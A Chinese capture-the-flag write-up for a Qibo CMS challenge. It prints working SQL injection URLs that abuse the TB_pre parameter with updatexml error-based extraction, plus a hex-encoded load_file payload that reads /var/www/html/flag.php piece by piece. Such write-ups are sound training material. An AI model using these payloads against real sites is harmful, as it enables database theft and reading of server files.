i春秋 “百度杯”CTF比賽 九月場 再見CMS
阿新 • • 發佈:2018-12-09
這道題剛做的時候是沒有頭緒的,看了一眼writeup
,得知要通過網站下方的備案記錄來查詢除網站相關資訊,並進而得知該網站所使用的的cms
,但是我照著做的時候卻查不出來結果,ICP/IP
官網返回說無匹配資訊,於是我就參考writeup
直接搜尋了齊博CMS的相關漏洞,我使用的是這一個:
http://0day5.com/archives/3300/
一個SQL
注入漏洞,我的payload
是這樣構造的:
http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1 &id=1&TB_pre=
(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
select user()
),0x7e),1)))a%23
select user()
就是我們想要查詢的資訊
因為原始碼中的查詢語句是這樣的:
$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads
T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid ' ORDER BY
T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");
因此我們要把$TB_pre
構造成一個表,所以我的payload
就構造成了上面的樣子
然後就是得到資料庫名、表名、列名,進而查詢username
、password
欄位,但是password
欄位是md
5
加密過後的字串,我試了很多解密網站都解不出來,最後想到利用上道題的方法load_file
,直接獲取flag
所在檔案的內容,猜測為/var/www/html/flag.php
,不行就多試幾個,絕對路徑題目給出來了:
我們如果直接寫成load_file('/var/www/html/flag.php')
'
會被轉義:
自然而然地,就會想到用16進位制來表示這個字串:
0x2F7661722F7777772F68746D6C2F666C61672E706870
構造payload
如下:
http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
select mid((select load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10)
),0x7e),1)))a%23
使用mid
函式擷取字串
更改mid
的後兩個引數,繼續往後截,就能得到flag
了